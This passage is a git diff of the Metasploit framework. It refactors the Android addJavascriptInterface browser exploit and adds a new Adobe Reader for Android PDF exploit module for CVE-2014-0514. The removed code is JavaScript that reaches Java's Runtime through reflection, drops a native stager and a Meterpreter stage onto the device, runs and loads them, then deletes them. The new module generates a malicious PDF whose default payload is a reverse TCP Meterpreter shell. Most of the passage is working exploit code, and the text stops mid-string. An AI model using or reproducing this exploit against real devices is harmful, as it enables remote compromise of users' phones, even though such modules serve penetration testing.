"\xd\x3c\x3c\x2f\x46\x69\x6c\x74\x65\x72\x5b\x2f\x46\x6c\x61\x74\x65\x44\x65\x63\x6f\x64\x65\x5d\x2f\x4c\x65\x6e\x67\x74\x68\x20\x33\x30\x32\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x48\x89\x84\x91\x4d\x4f\xc3\x30\xc\x86\xef\x95\xfa\x1f\xac\x5d\x92\x6a\x25\x41\xe2\x38\xc1\x85\x2b\x70\xe0\xca\x10\x4a\x13\xaf\xd\x34\x49\x95\xba\xfb\x10\xda\x7f\x27\x5d\xe9\x18\x12\x12\x3e\x58\x4e\xe2\xf7\xf5\x23\x67\x33\x78\x4d\x36\x78\xc0\x3d\xea\x81\x90\x57\xd1\x9a\x1a\x4b\xd0\xce\x14\xf0\x99\x67\x90\x22\x22\xd\xd1\xc3\xf4\x24\x6a\xa4\xfb\x56\xf5\x3d\x2f\xc4\x26\xc4\x27\xe5\x90\xb3\x77\xb5\x55\xa2\x55\xbe\x16\xcf\x83\x27\xeb\x90\x15\x93\x74\x8c\x51\xf1\x88\xd4\x4\xc3\x59\x2a\xe7\x8e\xd2\xf\x6d\x5b\x8\xeb\xb7\xe1\x3\xf9\x78\xf8\xbe\x19\x51\xf8\x38\x7f\x95\x67\xc7\x3c\xcb\x33\xbb\xe1\x3b\xeb\x4d\xd8\x89\x37\xd5\x75\x67\x2c\x8a\x87\xb1\x94\x72\x1e\xb4\x55\x11\x3a\x45\xd\xdc\x2\x93\xce\x93\xec\x8d\x56\xd1\x48\x17\x2a\xdb\x62\x44\x65\x30\x8a\x2e\x68\x41\x7b\x62\xab\x1f\xc0\x5f\x3a\xa3\x48\x4d\x49\x7\x27\x94\x9\x15\x8a\x49\xfa\xaf\xcf\xbc\xc3\xb\xd8\x12\x5e\x98\xec\xf\x3d\xa1\x93\x95\xf5\xb2\x6f\x58\xc9\xae\x74\x4a\xa8\x9b\x0\xeb\xc5\x43\x88\xe8\xc0\x76\xfd\xe0\xd6\xb\xb8\x3\x6\xcb\x13\xcb\x6b\x71\x61\x7c\x61\x28\x54\x22\x20\x7e\xc2\x5d\xa6\x6e\x9d\x70\x8\xd\x2b\xe1\x66\x56\x1c\x41\x2b\xd2\xd\xc7\xf3\xa6\xfe\xf6\x48\xbf\x7c\x7d\xd6\xa4\x55\x7f\x9\x30\x0\x67\xa5\x9f\x47\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + + js = Zlib::Deflate.deflate("window._app.alert('HELLO WORLD', 3);") + add_object(46, "\x0d<>stream\x0d#{js}\x0dendstream\x0d") + + + add_object(8, "\xd\x3c\x3c\x2f\x43\x6f\x75\x6e\x74\x20\x31\x2f\x46\x69\x72\x73\x74\x20\x39\x20\x30\x20\x52\x2f\x4c\x61\x73\x74\x20\x39\x20\x30\x20\x52\x2f\x50\x61\x72\x65\x6e\x74\x20\x37\x20\x30\x20\x52\x2f\x54\x69\x74\x6c\x65\x28\x4c\x6f\x63\x61\x6c\x20\x44\x69\x73\x6b\x29\x3e\x3e\xd") + add_object(9, "\xd\x3c\x3c\x2f\x44\x65\x73\x74\x5b\x32\x36\x20\x30\x20\x52\x2f\x58\x59\x5a\x20\x30\x20\x37\x39\x32\x20\x6e\x75\x6c\x6c\x5d\x2f\x50\x61\x72\x65\x6e\x74\x20\x38\x20\x30\x20\x52\x2f\x53\x45\x20\x31\x35\x20\x30\x20\x52\x2f\x54\x69\x74\x6c\x65\x28\xfe\xff\x0\x6a\x0\x73\x0\x2e\x0\x74\x0\x78\x0\x74\x29\x3e\x3e\xd") + add_object(17, "\xd\x3c\x3c\x2f\x4e\x61\x6d\x65\x73\x5b\x33\x35\x20\x30\x20\x52\x20\x32\x30\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(18, "\xd\x3c\x3c\x2f\x4e\x61\x6d\x65\x73\x5b\x31\x39\x20\x30\x20\x52\x20\x32\x30\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(19, "\xd\x28\x66\x69\x6c\x65\x3a\x2f\x2f\x2f\x43\x7c\x2f\x74\x65\x6d\x70\x2f\x6a\x73\x2e\x74\x78\x74\x29\xd") + add_object(20, "\xd\x3c\x3c\x2f\x43\x54\x28\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x29\x2f\x49\x44\x20\x33\x35\x20\x30\x20\x52\x2f\x4f\x5b\x32\x36\x20\x30\x20\x52\x5d\x2f\x53\x2f\x53\x50\x53\x2f\x53\x49\x20\x32\x31\x20\x30\x20\x52\x2f\x54\x28\xfe\xff\x0\x6a\x0\x73\x0\x2e\x0\x74\x0\x78\x0\x74\x29\x2f\x54\x53\x28\x44\x3a\x32\x30\x31\x34\x30\x33\x33\x31\x31\x31\x33\x35\x35\x32\x5a\x29\x3e\x3e\xd") + add_object(21, "\xd\x3c\x3c\x2f\x41\x55\x20\x31\x39\x20\x30\x20\x52\x2f\x54\x53\x28\x44\x3a\x32\x30\x31\x34\x30\x33\x33\x31\x31\x31\x33\x35\x35\x32\x5a\x29\x3e\x3e\xd") + add_object(39, "\xd\x3c\x3c\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2d\x42\x6f\x6c\x64\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x34\x35\x20\x30\x20\x52\x2f\x4e\x61\x6d\x65\x2f\x48\x65\x42\x6f\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x54\x79\x70\x65\x31\x2f\x54\x79\x70\x65\x2f\x46\x6f\x6e\x74\x3e\x3e\xd") + add_object(47, "\xd\x3c\x3c\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x34\x35\x20\x30\x20\x52\x2f\x4e\x61\x6d\x65\x2f\x48\x65\x6c\x76\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x54\x79\x70\x65\x31\x2f\x54\x79\x70\x65\x2f\x46\x6f\x6e\x74\x3e\x3e\xd") + add_object(48, "\xd\x3c\x3c\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x2f\x5a\x61\x70\x66\x44\x69\x6e\x67\x62\x61\x74\x73\x2f\x4e\x61\x6d\x65\x2f\x5a\x61\x44\x62\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x54\x79\x70\x65\x31\x2f\x54\x79\x70\x65\x2f\x46\x6f\x6e\x74\x3e\x3e\xd") + add_object(45, "\xd\x3c\x3c\x2f\x44\x69\x66\x66\x65\x72\x65\x6e\x63\x65\x73\x5b\x32\x34\x2f\x62\x72\x65\x76\x65\x2f\x63\x61\x72\x6f\x6e\x2f\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x64\x6f\x74\x61\x63\x63\x65\x6e\x74\x2f\x68\x75\x6e\x67\x61\x72\x75\x6d\x6c\x61\x75\x74\x2f\x6f\x67\x6f\x6e\x65\x6b\x2f\x72\x69\x6e\x67\x2f\x74\x69\x6c\x64\x65\x20\x33\x39\x2f\x71\x75\x6f\x74\x65\x73\x69\x6e\x67\x6c\x65\x20\x39\x36\x2f\x67\x72\x61\x76\x65\x20\x31\x32\x38\x2f\x62\x75\x6c\x6c\x65\x74\x2f\x64\x61\x67\x67\x65\x72\x2f\x64\x61\x67\x67\x65\x72\x64\x62\x6c\x2f\x65\x6c\x6c\x69\x70\x73\x69\x73\x2f\x65\x6d\x64\x61\x73\x68\x2f\x65\x6e\x64\x61\x73\x68\x2f\x66\x6c\x6f\x72\x69\x6e\x2f\x66\x72\x61\x63\x74\x69\x6f\x6e\x2f\x67\x75\x69\x6c\x73\x69\x6e\x67\x6c\x6c\x65\x66\x74\x2f\x67\x75\x69\x6c\x73\x69\x6e\x67\x6c\x72\x69\x67\x68\x74\x2f\x6d\x69\x6e\x75\x73\x2f\x70\x65\x72\x74\x68\x6f\x75\x73\x61\x6e\x64\x2f\x71\x75\x6f\x74\x65\x64\x62\x6c\x62\x61\x73\x65\x2f\x71\x75\x6f\x74\x65\x64\x62\x6c\x6c\x65\x66\x74\x2f\x71\x75\x6f\x74\x65\x64\x62\x6c\x72\x69\x67\x68\x74\x2f\x71\x75\x6f\x74\x65\x6c\x65\x66\x74\x2f\x71\x75\x6f\x74\x65\x72\x69\x67\x68\x74\x2f\x71\x75\x6f\x74\x65\x73\x69\x6e\x67\x6c\x62\x61\x73\x65\x2f\x74\x72\x61\x64\x65\x6d\x61\x72\x6b\x2f\x66\x69\x2f\x66\x6c\x2f\x4c\x73\x6c\x61\x73\x68\x2f\x4f\x45\x2f\x53\x63\x61\x72\x6f\x6e\x2f\x59\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x5a\x63\x61\x72\x6f\x6e\x2f\x64\x6f\x74\x6c\x65\x73\x73\x69\x2f\x6c\x73\x6c\x61\x73\x68\x2f\x6f\x65\x2f\x73\x63\x61\x72\x6f\x6e\x2f\x7a\x63\x61\x72\x6f\x6e\x20\x31\x36\x30\x2f\x45\x75\x72\x6f\x20\x31\x36\x34\x2f\x63\x75\x72\x72\x65\x6e\x63\x79\x20\x31\x36\x36\x2f\x62\x72\x6f\x6b\x65\x6e\x62\x61\x72\x20\x31\x36\x38\x2f\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x63\x6f\x70\x79\x72\x69\x67\x68\x74\x2f\x6f\x72\x64\x66\x65\x6d\x69\x6e\x69\x6e\x65\x20\x31\x37\x32\x2f\x6c\x6f\x67\x69\x63\x61\x6c\x6e\x6f\x74\x2f\x2e\x6e\x6f\x74\x64\x65\x66\x2f\x72\x65\x67\x69\x73\x74\x65\x72\x65\x64\x2f\x6d\x61\x63\x72\x6f\x6e\x2f\x64\x65\x67\x72\x65\x65\x2f\x70\x6c\x75\x73\x6d\x69\x6e\x75\x73\x2f\x74\x77\x6f\x73\x75\x70\x65\x72\x69\x6f\x72\x2f\x74\x68\x72\x65\x65\x73\x75\x70\x65\x72\x69\x6f\x72\x2f\x61\x63\x75\x74\x65\x2f\x6d\x75\x20\x31\x38\x33\x2f\x70\x65\x72\x69\x6f\x64\x63\x65\x6e\x74\x65\x72\x65\x64\x2f\x63\x65\x64\x69\x6c\x6c\x61\x2f\x6f\x6e\x65\x73\x75\x70\x65\x72\x69\x6f\x72\x2f\x6f\x72\x64\x6d\x61\x73\x63\x75\x6c\x69\x6e\x65\x20\x31\x38\x38\x2f\x6f\x6e\x65\x71\x75\x61\x72\x74\x65\x72\x2f\x6f\x6e\x65\x68\x61\x6c\x66\x2f\x74\x68\x72\x65\x65\x71\x75\x61\x72\x74\x65\x72\x73\x20\x31\x39\x32\x2f\x41\x67\x72\x61\x76\x65\x2f\x41\x61\x63\x75\x74\x65\x2f\x41\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x41\x74\x69\x6c\x64\x65\x2f\x41\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x41\x72\x69\x6e\x67\x2f\x41\x45\x2f\x43\x63\x65\x64\x69\x6c\x6c\x61\x2f\x45\x67\x72\x61\x76\x65\x2f\x45\x61\x63\x75\x74\x65\x2f\x45\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x45\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x49\x67\x72\x61\x76\x65\x2f\x49\x61\x63\x75\x74\x65\x2f\x49\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x49\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x45\x74\x68\x2f\x4e\x74\x69\x6c\x64\x65\x2f\x4f\x67\x72\x61\x76\x65\x2f\x4f\x61\x63\x75\x74\x65\x2f\x4f\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x4f\x74\x69\x6c\x64\x65\x2f\x4f\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x6d\x75\x6c\x74\x69\x70\x6c\x79\x2f\x4f\x73\x6c\x61\x73\x68\x2f\x55\x67\x72\x61\x76\x65\x2f\x55\x61\x63\x75\x74\x65\x2f\x55\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x55\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x59\x61\x63\x75\x74\x65\x2f\x54\x68\x6f\x72\x6e\x2f\x67\x65\x72\x6d\x61\x6e\x64\x62\x6c\x73\x2f\x61\x67\x72\x61\x76\x65\x2f\x61\x61\x63\x75\x74\x65\x2f\x61\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x61\x74\x69\x6c\x64\x65\x2f\x61\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x61\x72\x69\x6e\x67\x2f\x61\x65\x2f\x63\x63\x65\x64\x69\x6c\x6c\x61\x2f\x65\x67\x72\x61\x76\x65\x2f\x65\x61\x63\x75\x74\x65\x2f\x65\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x65\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x69\x67\x72\x61\x76\x65\x2f\x69\x61\x63\x75\x74\x65\x2f\x69\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x69\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x65\x74\x68\x2f\x6e\x74\x69\x6c\x64\x65\x2f\x6f\x67\x72\x61\x76\x65\x2f\x6f\x61\x63\x75\x74\x65\x2f\x6f\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x6f\x74\x69\x6c\x64\x65\x2f\x6f\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x64\x69\x76\x69\x64\x65\x2f\x6f\x73\x6c\x61\x73\x68\x2f\x75\x67\x72\x61\x76\x65\x2f\x75\x61\x63\x75\x74\x65\x2f\x75\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x75\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x79\x61\x63\x75\x74\x65\x2f\x74\x68\x6f\x72\x6e\x2f\x79\x64\x69\x65\x72\x65\x73\x69\x73\x5d\x2f\x54\x79\x70\x65\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3e\x3e\xd") + add_object(23, "\xd\x3c\x3c\x2f\x43\x72\x65\x61\x74\x69\x6f\x6e\x44\x61\x74\x65\x28\x44\x3a\x32\x30\x31\x34\x30\x33\x33\x31\x31\x33\x33\x35\x35\x31\x2b\x30\x32\x27\x30\x30\x27\x29\x2f\x43\x72\x65\x61\x74\x6f\x72\x28\x41\x64\x6f\x62\x65\x20\x41\x63\x72\x6f\x62\x61\x74\x20\x31\x31\x2e\x30\x29\x2f\x4d\x6f\x64\x44\x61\x74\x65\x28\x44\x3a\x32\x30\x31\x34\x30\x35\x33\x31\x31\x32\x31\x34\x32\x36\x2d\x30\x35\x27\x30\x30\x27\x29\x2f\x50\x72\x6f\x64\x75\x63\x65\x72\x28\x41\x63\x72\x6f\x62\x61\x74\x20\x57\x65\x62\x20\x43\x61\x70\x74\x75\x72\x65\x20\x31\x31\x2e\x30\x29\x2f\x54\x69\x74\x6c\x65\x28\x6a\x73\x2e\x74\x78\x74\x29\x3e\x3e\xd") + + @xref_offset = @pdf.length + @pdf << xref_table << trailer(25, eol) << startxref + + @pdf + end end end diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 373fc8f2fd..ea26cc19f8 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -4,25 +4,13 @@ ## require 'msf/core' +require 'msf/core/exploit/android' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn - - # Since the NDK stager is used, arch detection must be performed - SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] - - # Most android devices are ARM - DEFAULT_ARCH = ARCH_ARMLE - - # Some of the default NDK build targets are named differently than - # msf's builtin constants. This mapping allows the ndkstager file - # to be looked up from the msf constant. - NDK_FILES = { - ARCH_ARMLE => 'armeabi', - ARCH_MIPSLE => 'mips' - } + include Msf::Exploit::Android autopwn_info( :os_flavor => 'Android', @@ -105,84 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote send_response_html(cli, html(arch)) end - # The NDK stager is used to launch a hidden APK - def ndkstager(stagename, arch) - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') - data = File.read(localfile, :mode => 'rb') - data.gsub!('PLOAD', stagename) - end - - def js(arch) - stagename = Rex::Text.rand_text_alpha(5) - script = %Q| - function exec(runtime, cmdArr) { - var ch = 0; - var output = ''; - var process = runtime.exec(cmdArr); - var input = process.getInputStream(); - - while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } - return output; - } - - function attemptExploit(obj) { - // ensure that the object contains a native interface - try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } - - // get the pid - var pid = obj.getClass() - .forName('android.os.Process') - .getMethod('myPid', null) - .invoke(null, null); - - // get the runtime so we can exec - var runtime = obj.getClass() - .forName('java.lang.Runtime') - .getMethod('getRuntime', null) - .invoke(null, null); - - // libraryData contains the bytes for a native shared object built via NDK - // which will load the "stage", which in this case is our android meterpreter stager. - // LibraryData is loaded via ajax later, because we have to access javascript in - // order to detect what arch we are running. - var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; - - // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains - // another stager which loads android meterpreter from the msf handler. - var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; - - // get the process name, which will give us our data path - // $PPID does not seem to work on android 4.0, so we concat pids manually - var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); - - var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; - var stagePath = path + '/#{stagename}.apk'; - - // build the library and chmod it - runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); - runtime.exec(['chmod', '700', libraryPath]).waitFor(); - - // build the stage, chmod it, and load it - runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); - runtime.exec(['chmod', '700', stagePath]).waitFor(); - - // load the library (this fails in x86, figure out why) - runtime.load(libraryPath); - - // delete dropped files - runtime.exec(['rm', stagePath]).waitFor(); - runtime.exec(['rm', libraryPath]).waitFor(); - - return true; - } - - for (i in top) { if (attemptExploit(top[i]) === true) break; } - | - - # remove comments and empty lines - script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') - end - # Called when a client requests a .js route. # This is handy for post-XSS. def serve_static_js(cli, req) @@ -191,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote if arch.present? print_status("Serving javascript for arch #{normalize_arch arch}") - send_response(cli, js(normalize_arch arch), response_opts) + send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts) else print_status("Serving arch detection javascript") send_response(cli, static_arch_detect_js, response_opts) diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb new file mode 100644 index 0000000000..9f1dd2c4c1 --- /dev/null +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/fileformat' +require 'msf/core/exploit/pdf' +require 'msf/core/exploit/android' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::PDF + include Msf::Exploit::Android + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', + 'Description' => %q{ + Adobe Reader < 11.2.0 exposed insecure native interfaces to untrusted + javascript in a PDF. This embeds the browser exploit from android/ + webview_addjavascriptinterface into a PDF to get a shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Yorick Koster', # discoverer + 'joev' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0514' ], + [ 'EDB', '32884' ], + [ 'OSVDB', '105781' ], + ], + 'Platform' => 'android', + 'DefaultOptions' => { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp' + }, + 'Targets' => [ + [ 'Android ARM', { + 'Platform' => 'android', + 'Arch' => ARCH_ARMLE + } + ], + [ 'Android MIPSLE', { + 'Platform' => 'android', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'Android X86', { + 'Platform' => 'android', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => 'Dec 21 2012', + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), + ], self.class) + end + + def exploit + print_status("Generating Javascript exploit...") + js = add_javascript_interface_exploit_js(ARCH_ARMLE) + print_status("Creating PDF...") + file_create(pdf(js)) + end + + def pdf(js) + @eol = "\x0d" + @xref = {} + @pdf = header('1.6') + + add_object(25, "\xd\x3c\x3c\x2f\x41\x63\x72\x6f\x46\x6f\x72\x6d\x20\x34\x30\x20\x30\x20\x52\x2f\x4d\x65\x74\x61\x64\x61\x74\x61\x20\x33\x20\x30\x20\x52\x2f\x4e\x61\x6d\x65\x73\x20\x33\x32\x20\x30\x20\x52\x2f\x4f\x75\x74\x6c\x69\x6e\x65\x73\x20\x37\x20\x30\x20\x52\x2f\x50\x61\x67\x65\x73\x20\x31\x36\x20\x30\x20\x52\x2f\x53\x70\x69\x64\x65\x72\x49\x6e\x66\x6f\x20\x32\x32\x20\x30\x20\x52\x2f\x53\x74\x72\x75\x63\x74\x54\x72\x65\x65\x52\x6f\x6f\x74\x20\x31\x30\x20\x30\x20\x52\x2f\x54\x79\x70\x65\x2f\x43\x61\x74\x61\x6c\x6f\x67\x3e\x3e\xd") + add_object(40, "\xd\x3c\x3c\x2f\x44\x41\x28\x2f\x48\x65\x6c\x76\x20\x30\x20\x54\x66\x20\x30\x20\x67\x20\x29\x2f\x44\x52\x3c\x3c\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3c\x3c\x2f\x50\x44\x46\x44\x6f\x63\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x34\x35\x20\x30\x20\x52\x3e\x3e\x2f\x46\x6f\x6e\x74\x3c\x3c\x2f\x48\x65\x42\x6f\x20\x33\x39\x20\x30\x20\x52\x2f\x48\x65\x6c\x76\x20\x34\x37\x20\x30\x20\x52\x2f\x5a\x61\x44\x62\x20\x34\x38\x20\x30\x20\x52\x3e\x3e\x3e\x3e\x2f\x46\x69\x65\x6c\x64\x73\x5b\x33\x38\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(3, "\xd\x3c\x3c\x2f\x4c\x65\x6e\x67\x74\x68\x20\x33\x33\x31\x33\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x58\x4d\x4c\x2f\x54\x79\x70\x65\x2f\x4d\x65\x74\x61\x64\x61\x74\x61\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x3c\x3f\x78\x70\x61\x63\x6b\x65\x74\x20\x62\x65\x67\x69\x6e\x3d\x22\xef\xbb\xbf\x22\x20\x69\x64\x3d\x22\x57\x35\x4d\x30\x4d\x70\x43\x65\x68\x69\x48\x7a\x72\x65\x53\x7a\x4e\x54\x63\x7a\x6b\x63\x39\x64\x22\x3f\x3e\xd\x3c\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x3d\x22\x61\x64\x6f\x62\x65\x3a\x6e\x73\x3a\x6d\x65\x74\x61\x2f\x22\x20\x78\x3a\x78\x6d\x70\x74\x6b\x3d\x22\x41\x64\x6f\x62\x65\x20\x58\x4d\x50\x20\x43\x6f\x72\x65\x20\x35\x2e\x34\x2d\x63\x30\x30\x35\x20\x37\x38\x2e\x31\x34\x37\x33\x32\x36\x2c\x20\x32\x30\x31\x32\x2f\x30\x38\x2f\x32\x33\x2d\x31\x33\x3a\x30\x33\x3a\x30\x33\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3e\xd\x20\x20\x20\x3c\x72\x64\x66\x3a\x52\x44\x46\x20\x78\x6d\x6c\x6e\x73\x3a\x72\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\x32\x2d\x72\x64\x66\x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\x22\x3e\xd\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\x74\x3d\x22\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x6d\x70\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\x2e\x30\x2f\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\x65\x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\x2e\x31\x2f\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x6d\x70\x4d\x4d\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\x2e\x30\x2f\x6d\x6d\x2f\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x70\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x70\x64\x66\x2f\x31\x2e\x33\x2f\x22\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x4d\x6f\x64\x69\x66\x79\x44\x61\x74\x65\x3e\x32\x30\x31\x34\x2d\x30\x35\x2d\x33\x31\x54\x31\x32\x3a\x31\x34\x3a\x32\x36\x2d\x30\x35\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x4d\x6f\x64\x69\x66\x79\x44\x61\x74\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x65\x44\x61\x74\x65\x3e\x32\x30\x31\x34\x2d\x30\x33\x2d\x33\x31\x54\x31\x33\x3a\x33\x35\x3a\x35\x31\x2b\x30\x32\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x65\x44\x61\x74\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x4d\x65\x74\x61\x64\x61\x74\x61\x44\x61\x74\x65\x3e\x32\x30\x31\x34\x2d\x30\x35\x2d\x33\x31\x54\x31\x32\x3a\x31\x34\x3a\x32\x36\x2d\x30\x35\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x4d\x65\x74\x61\x64\x61\x74\x61\x44\x61\x74\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\x41\x64\x6f\x62\x65\x20\x41\x63\x72\x6f\x62\x61\x74\x20\x31\x31\x2e\x30\x3c\x2f\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x70\x64\x66\x3c\x2f\x64\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x74\x69\x74\x6c\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x41\x6c\x74\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x20\x78\x6d\x6c\x3a\x6c\x61\x6e\x67\x3d\x22\x78\x2d\x64\x65\x66\x61\x75\x6c\x74\x22\x3e\x6a\x73\x2e\x74\x78\x74\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x41\x6c\x74\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x64\x63\x3a\x74\x69\x74\x6c\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\x44\x6f\x63\x75\x6d\x65\x6e\x74\x49\x44\x3e\x75\x